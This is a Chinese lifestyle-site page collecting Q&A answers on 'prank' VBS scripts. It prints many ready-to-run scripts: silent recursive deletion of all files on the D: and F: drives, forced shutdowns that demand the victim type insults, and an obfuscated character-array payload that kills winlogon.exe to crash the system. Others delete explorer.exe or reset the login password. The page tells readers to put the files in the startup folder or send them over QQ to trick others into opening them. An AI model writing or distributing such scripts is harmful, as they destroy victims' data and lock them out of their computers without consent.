家庭生活指南

文章38131
阅读14266002

人生倒计时

今日已经过去小时
这周已经过去天
本月已经过去天
今年已经过去个月

热评文章

首页生活指南正文内容

vbs整人代码怎么用（恶搞代码vbs教程）

阿立指南生活指南 2022-11-10 04:11:10 295 0

求高手讲解一下怎么设置整人用的vbs，还有怎么将代码输入进文档里

建议你不懂vbs的话还是少碰为好，（最起码你要学会基础）。记事本和word的话负责进去就OK了

word是无法编辑vbs的，编辑vbs是用记事本的后缀名是vbs就可以了。整人的话你就要想方设法把你的vbs文件放入启动文件夹里（当然也可以放到别的地方）其他就不多说了。

一般整人都会用到 do loop （死循环）or 关机代码

希望对你有用（纯手打）

vbe整人代码求教用

这个不是整人代码了，整个就一病毒代码程序啊。

你看 deletefile "d:\*.* 这一行代码一下子把人家D盘删的只剩屁股了。

慎用！！

代码应该这样使用

：：

dim WSHshell

set fso = wscript.createobject("wscript.shell")

fso.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

好吧，运行后D盘就光屁股了。

参考： (vbs整人代码大全)

vbs整人代码（要可以用的）我直接COPY到记事本里，所以别打错了。

---------------------------------------------------------------------

代码:

Set ws=WScript.CreateObject("WScript.Shell")

ws.popup"大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，",10,"闪亮登场",64

ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64

wscript.sleep 100000

ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10

ws.popup"正在下载windows更新……",12

wscript.sleep 10000

ws.popup"windows更新已下载完毕，正在安装更新……",12

wscript.sleep 3000

msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ，并在强行嵌入你的电脑",4132,"是否对其进行扫描？"

msgbox"软件名：comcontroler.exe "vbcrlf""vbcrlf" 大小：1.21MB "vbcrlf""vbcrlf" 发行者：幻想丶永恒（403746401）"vbcrlf""vbcrlf" 安全状况：有病毒",vbinformation

msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装"

msgbox"阻止失败，请检查防火墙是否开启"

wscript.sleep 15000

ws.popup"windows更新安装成功！",vbinfmation,20

msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation

ws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64

ws.popup"不信？我用你的电脑打开我的QQ空间给你看看",10

ws.run""

msgbox"警告：为了您的电脑安全，请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation

ws.popup"我再打开中国神泣官方网站",10

ws.run""

ws.popup"现在相信了吧？我再打开你的记事本给你写封英语信",20

ws.popup"记事本会被打开并最大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。否则引起系统混乱我可不负责！"

ws.run "notepad",3 : wscript.sleep 2000

verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",")

---------------------------------------------------------------------

代码2:

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"TSName)

WScript.Echo("你是可爱的XX童鞋吗?")

WScript.Echo("哈,我想你拉，这你都不知道吗？")

WScript.Echo("怎么才来，说~是不是不关心我")

WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")

WScript.Echo("夜黑很生气，后果很严重哦。")

WScript.Echo("嘿嘿！你也会很惨滴哦")

WScript.Echo("是不是想清除我？")

WScript.Echo("那你要点上100下哦，不过会给你惊喜滴")

WScript.Echo("还剩100下，快点点哦")

WScript.Echo("还剩99下，快点，小笨蛋！")

WScript.Echo("还剩98下对，就这样快点点！")

WScript.Echo("还剩97下。你啊就是笨，要快哦，我先不打扰你工作。")

WScript.Echo("还剩96下，记得要快哦！")

WScript.Echo("还剩95下")

WScript.Echo("还剩94下")

WScript.Echo("还剩93下")

WScript.Echo("还剩92下")

WScript.Echo("还剩91下")

WScript.Echo("还剩90下")

WScript.Echo("还剩89下")

WScript.Echo("还剩88下")

WScript.Echo("还剩87下")

WScript.Echo("还剩86下")

WScript.Echo("还剩85下")

WScript.Echo("还剩84下")

WScript.Echo("还剩83下")

WScript.Echo("还剩82下")

WScript.Echo("还剩81下")

WScript.Echo("还剩80下")

WScript.Echo("还剩79下")

WScript.Echo("还剩78下")

WScript.Echo("还剩77下")

WScript.Echo("还剩76下")

WScript.Echo("还剩75下")

WScript.Echo("还剩74下")

WScript.Echo("还剩73下")

WScript.Echo("还剩72下")

WScript.Echo("还剩71下")

WScript.Echo("还剩70下")

WScript.Echo("还剩69下")

WScript.Echo("还剩68下")

WScript.Echo("还剩67下")

WScript.Echo("还剩66下")

WScript.Echo("还剩65下")

WScript.Echo("还剩64下")

WScript.Echo("还剩63下")

WScript.Echo("还剩62下")

WScript.Echo("还剩61下")

WScript.Echo("还剩60下")

WScript.Echo("还剩59下")

WScript.Echo("还剩58下")

WScript.Echo("还剩57下")

WScript.Echo("还剩56下")

WScript.Echo("还剩55下")

WScript.Echo("还剩54下")

WScript.Echo("还剩53下")

WScript.Echo("还剩52下")

WScript.Echo("还剩51下")

WScript.Echo("还剩50下")

WScript.Echo("还剩49下")

WScript.Echo("还剩48下")

WScript.Echo("还剩47下")

WScript.Echo("还剩46下")

WScript.Echo("还剩45下")

WScript.Echo("还剩44下")

WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下")

WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下")

WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下")

WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下")

WScript.Echo("还剩31下")

WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下")

WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下")

WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下")

WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下")

WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下")

WScript.Echo("还剩15下")

WScript.Echo("还剩14下")

WScript.Echo("还剩13下")

WScript.Echo("还剩12下")

WScript.Echo("还剩11下")

WScript.Echo("还剩10下")

WScript.Echo("还剩9下")

WScript.Echo("还剩8下")

WScript.Echo("还剩7下")

WScript.Echo("还剩6下")

WScript.Echo("还剩5下")

WScript.Echo("还剩4下")

WScript.Echo("还剩3下")

WScript.Echo("还剩2下")

WScript.Echo("还剩1下")

WScript.Echo("还剩0下")

WScript.Echo("哎看你可怜，饶了你吧")

WScript.Echo("还剩下")

WScript.Echo("还剩下停停！！！慢点，我有话要说")

WScript.Echo("还剩下，你继续点我就会消失滴")

WScript.Echo("还剩下，以后就看不到我拉。呜呜~555555")

WScript.Echo("还剩下，你现在可以选择停止！")

WScript.Echo("还剩下。你还点啊，不要我拉？")

WScript.Echo("还剩下，有点伤心拉，干嘛丢弃人家")

WScript.Echo("还剩下。疯了，你有点负意！")

WScript.Echo("还剩下。对。你就点吧，我恨你！")

WScript.Echo("还剩下，不明白，删除我你就好吗？")

WScript.Echo("还剩下！真要删除我？")

WScript.Echo("还剩下。可是我真的很眷恋你。。。")

WScript.Echo("还剩下。不要这么绝情嘛，人家是爱你的！")

WScript.Echo("还剩下。哼，既然你这么绝情。也别怪我无义！！！")

WScript.Echo("我本因该消失的，不过我留恋你滴芳容，万能的上帝又给了一次机会。")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("呵呵。QQ1021435988")

---------------------------------------------------------------------

蓝屏代码:

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-

23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-

13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103

,98,111,120,32,34,-15133,89,-13899,-20026,-

20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-

14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-

13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-

24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-

18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1

01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,

46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,

116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1

03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101

,110,100,32,105,102,13,10,13,10,13,10)

for i=1 to UBound(strs)

runner=runnerchr(strs(i))

Execute runner

---------------------------------------------------------------------

掉qq：

taskkill /im qq.exe /f /t

---------------------------------------------------------------------

10秒强制关机（任务管理器无效）：

shutdown -s -t 10

---------------------------------------------------------------------

死机：

start cmd

---------------------------------------------------------------------

设置登录密码为2010：

net user "%username%" 2010

---------------------------------------------------------------------

让电脑只剩一个背景

taskkill /im /f /t explorer.exe

---------------------------------------------------------------------

莫名其妙结束当前程序:

set ws=createobject("wscript.shell")

ws.sendkeys "%{f4}"

loop

---------------------------------------------------------------------

不断提示你是猪:

msgbox("你是猪")

loop

---------------------------------------------------------------------

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是大笨笨！哈哈，不说我就一分钟关你机，不信，试试···我说到做到！"" ",0 ,true

dim a

do while(a "我是大笨蛋！哈哈！我是大肥猪！")

a = inputbox ("说我是大笨蛋！哈哈！我是大肥猪！,我就不关你的机，快撒，说 ""我是大笨笨！哈哈"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛猪"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾嘎嘎.爽歪歪啊 "

---------------------------------------------------------------------

“我是畜生”:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""说我是畜生，不说就20秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a "我是畜生")

a = inputbox ("说我是畜生,就不关机，快撒，说 ""我是畜生"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

---------------------------------------------------------------------

10秒关机:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""你被耍了"" ",0 ,true

---------------------------------------------------------------------

刷对话框:

msgbox("你被耍了")

loop

---------------------------------------------------------------------

直接关机:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -s ",0 ,true

---------------------------------------------------------------------一分钟弹出一次:

do until i=10

i=i+1

msgbox "CPU温度过高，系统出现严重误！",16+4096,"系统提示"

wscript.sleep 1000*60 '时间可以自己改

loop

---------------------------------------------------------------------script language="javascript"

function hr(){

alert('你关不掉的^_^')

hr();

}

/script

body onLoad="hr()"

/body

---------------------------------------------------------------------do while(1)

msgbox "你死定了！"

loop

还有更多的！：

---------------------------------------------------------------------

删除F:\所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true

---------------------------------------------------------------------

不断按下alt+f4 （开什么都关闭……） :

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

---------------------------------------------------------------------

注意：分割线之间为一个代码，复制进TXT文档，另存为.vbs或.vbe，望楼主采纳！！！ Q群：108141490 --村长

vbs整人代码怎么用（恶搞代码vbs教程）第1张

整人程序代码怎么用

我不知道你是不是这个整人代码！

代码如下：

--------------------------------------------我是横线不要复制我------------------------------------------

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你确实是一头猪~"

--------------------------------------------我是横线不要复制我------------------------------------------

将横线内的代码复制到记事本内~~然后另存为名字随便你起记住后面的一定要加 .vbe

把文件传送给对方~~只要对方一打开一分钟就会关机，如上面说的，要你说那三个字，就不会关机了哈哈大家试试吧。

用QQ传送文件发送给他！叫他打开！

求大量VBS整人代码.

第一个 do msgbox "hi" loop 第二个 Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 第三个 if MsgBox("对不起,您灌水太多需要重新启动计算机。"chr(10)"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 系统将立刻重起wow ~_^",,"你上当了！！" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四个 '这个很强悍的vbs,蓝屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runnerchr(strs(i)) next Execute runner 第五个 if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1nul 2nul",vbhide end if 第六个 Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 第七个 set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe" 第八个 Set ws=WScript.CreateObject("WScript.Shell") ws.popup"大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，",10,"闪亮登场",64 ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64 wscript.sleep 100000 ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10 ws.popup"正在下载windows更新……",12 wscript.sleep 10000 ws.popup"windows更新已下载完毕，正在安装更新……",12 wscript.sleep 3000 msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ，并在强行嵌入你的电脑",4132,"是否对其进行扫描？" msgbox"软件名：comcontroler.exe "vbcrlf""vbcrlf" 大小：1.21MB "vbcrlf""vbcrlf" 发行者：幻想丶永恒（403746401）"vbcrlf""vbcrlf" 安全状况：有病毒",vbinformation msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装" msgbox"阻止失败，请检查防火墙是否开启" wscript.sleep 15000 ws.popup"windows更新安装成功！",vbinfmation,20 msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation ws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64 ws.popup"不信？我用你的电脑打开我的QQ空间给你看看",10 ws.run" " msgbox"警告：为了您的电脑安全，请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation ws.popup"我再打开中国神泣官方网站",10 ws.run" " ws.popup"现在相信了吧？我再打开你的记事本给你写封英语信",20 ws.popup"记事本会被打开并最大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。否则引起系统混乱我可不负责！" ws.run "notepad",3 : wscript.sleep 2000 verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",") 第九个 for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30 ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8 ws.run "taskkill /f /im qq.exe" ws.popup"你还要上吧慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("请输入解除关机密码") if a="403746401" then ws.run"shutdown -a" msgbox"密码验证成功，enjoy the best!" exit do else msgbox"密码验证失败，请输入解除关机密码：403746401 ",vbretrycancel end if loop ws.popup"哈哈被吓到了吧好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57 ws.popup"(\(^o^)/~ 好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示：" wscript.sleep 1000*45 loop 第十个 set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" 第十一个 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next 第十二个 dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("请在对话框中填写你真实的姓名！"vbcrlf""vbcrlf"稍后将会给你意外的惊喜！！ "vbcrlf""vbcrlf"不信你可以试试看！！！"vbcrlf""vbcrlf"最好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫："a" ",vbYesNo + vbExclamation,"芮洲提示：") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("请在对话框中填写你真实的姓名！"vbcrlf""vbcrlf"稍后将会给你意外的惊喜！！ "vbcrlf""vbcrlf"不信你可以试试看！！！"vbcrlf""vbcrlf"最好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "a" 你好！"vbcrlf""vbcrlf"请填写一下你的爱好。(只需填一个哦！)","芮洲提示：","请在此输入你的爱好") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年月日]电脑将自动算出到目前为止你已经在地球上存活了多少时间！"vbcrlf""vbcrlf"下面以我为列不同可以修改"vbcrlf""Chr(10)"格式为：1987-06-02","芮洲提示：","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)"恭喜 "a" 已在地球上存活了:"age"天 "h"小时 "n"分钟.....",vbOKCancel+63,"芮洲提示：") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"a"的秘密.vbs",true) auto.WriteLine"MSGBOX""""""我的名字叫:"a" """"""vbcrlf""""""""""""vbcrlf""""""我的爱好是:"B" """"""vbcrlf""""""""""""vbcrlf"""""""a"已经活了:"age"天 "h"小时 "n"分钟 """""",64,"""""""a"的自我介绍：""" auto.WriteLine"msgbox""""""亲爱的 "a " 再见了！"""""",48,""""""芮洲提示：""""""" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"a"生日快乐.TXT",true) auto.WriteLine"本人芮洲祝: "a" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......." auto.WriteLine"你已在地球上生活了:"age"天 "h"小时 "n"分钟了" auto.WriteLine"时间是根据你的出生年月日算的，可能不是很精确，但目的只是想让知道时间过的很快，请珍惜时间!!!。"